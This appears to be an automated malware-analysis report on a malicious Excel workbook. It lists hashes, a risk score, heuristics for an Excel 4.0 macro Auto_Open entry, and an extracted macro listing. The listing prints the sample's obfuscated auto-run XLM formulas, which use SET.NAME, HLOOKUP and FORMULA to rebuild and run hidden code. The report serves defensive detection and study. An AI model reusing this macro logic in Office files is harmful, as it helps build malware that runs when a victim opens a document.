Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 842b1ca4c630ac0d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:32 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: a6494dfb39ab888773f4b92278e6dee8 SHA-1: 6edb27e31226e3e576d142316059def1c1efa856 SHA-256: 842b1ca4c630ac0df9ae6a24bbc5263d4cf142452c54e700bdcc5ff6c807bda9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6430 bytes
SHA-256: 69234f48fb11ed5100f8d2dabf44d6d245ee2cd9fd1ff6294366ecc7c41ea731
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OMOoC
' 0018     22 LABEL : Cell Value, String Constant - AqdLCFm len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G156 
' 0018     21 LABEL : Cell Value, String Constant - cLeZnt len=0 
' 0018     21 LABEL : Cell Value, String Constant - dejUJD len=0 
' 0018     24 LABEL : Cell Value, String Constant - FfUUrtcnG len=0 
' 0018     25 LABEL : Cell Value, String Constant - FiLEMQNZyx len=0 
' 0018     21 LABEL : Cell Value, String Constant - fvUlPT len=0 
' 0018     21 LABEL : Cell Value, String Constant - GyTowD len=0 
' 0018     27 LABEL : Cell Value, String Constant - hNwANZaowZRM len=0 
' 0018     21 LABEL : Cell Value, String Constant - INGgnx len=0 
' 0018     22 LABEL : Cell Value, String Constant - jsawdFz len=0 
' 0018     24 LABEL : Cell Value, String Constant - kLkTeAsOf len=0 
' 0018     22 LABEL : Cell Value, String Constant - kYKeyuO len=0 
' 0018     26 LABEL : Cell Value, String Constant - mOpgzPYAMem len=0 
' 0018     27 LABEL : Cell Value, String Constant - mtgtXQqibfiB len=0 
' 0018     20 LABEL : Cell Value, String Constant - QJTOG len=0 
' 0018     25 LABEL : Cell Value, String Constant - RuhCQdefaB len=0 
' 0018     24 LABEL : Cell Value, String Constant - SYFZIJkrn len=0 
' 0018     23 LABEL : Cell Value, String Constant - VdEQlqap len=0 
' 0018     27 LABEL : Cell Value, String Constant - VeWhGlrgxTvu len=0 
' 0018     20 LABEL : Cell Value, String Constant - ybyDY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OMOoC,G74,"SET.NAME("GyTowD",VALUE("0"))",""
'  OMOoC,G76,"SET.NAME("mOpgzPYAMem",GyTowD)",""
'  OMOoC,G78,"SET.NAME("mtgtXQqibfiB",GyTowD)",""
'  OMOoC,G82,"SET.NAME("QJTOG",COUNTA(FiLEMQNZyx))",""
'  OMOoC,G85,"SET.NAME("dejUJD",COUNTA(RuhCQdefaB))",""
'  OMOoC,G88,[],""
'  OMOoC,G93,"SET.NAME("cLeZnt","")",""
'  OMOoC,G96,"mOpgzPYAMem",""
'  OMOoC,G100,"SET.NAME("INGgnx",HLOOKUP("*",FiLEMQNZyx,mOpgzPYAMem,FALSE))",""
'  OMOoC,G104,"SYFZIJkrn",""
'  OMOoC,G106,"SET.NAME("hNwANZaowZRM",GyTowD)",""
'  OMOoC,G110,[],""
'  OMOoC,G113,"hNwANZaowZRM",""
'  OMOoC,G115,"ybyDY",""
'  OMOoC,G119,"kYKeyuO",""
'  OMOoC,G123,"AqdLCFm",""
'  OMOoC,G127,"SET.NAME("fvUlPT",VALUE(HLOOKUP("*",RuhCQdefaB,AqdLCFm,FALSE)))",""
'  OMOoC,G130,"VeWhGlrgxTvu",""
'  OMOoC,G132,"cLeZnt",""
'  OMOoC,G135,"mtgtXQqibfiB",""
'  OMOoC,G137,NEXT(),""
'  OMOoC,G140,"FfUUrtcnG",""
'  OMOoC,G143,"SET.NAME("f",INT(T(FORMULA(T(cLeZnt)&"",""&T(FfUUrtcnG)))))",""
'  OMOoC,G148,"jsawdFz",""
'  OMOoC,G151,NEXT(),""
'  OMOoC,G154,RETURN(),""
'  OMOoC,G178,"SET.NAME("VdEQlqap",G74)",""
'  OMOoC,G183,"FiLEMQNZyx",""
'  OMOoC,G188,"SET.NAME("RuhCQdefaB",R59C12)",""
'  OMOoC,G192,"SET.NAME("jsawdFz",200)",""
'  OMOoC,G196,"SET.NAME("kLkTeAsOf",7)",""
'  OMOoC,G199,VdEQlqap(),""
'  OMOoC,G200,HALT(),""

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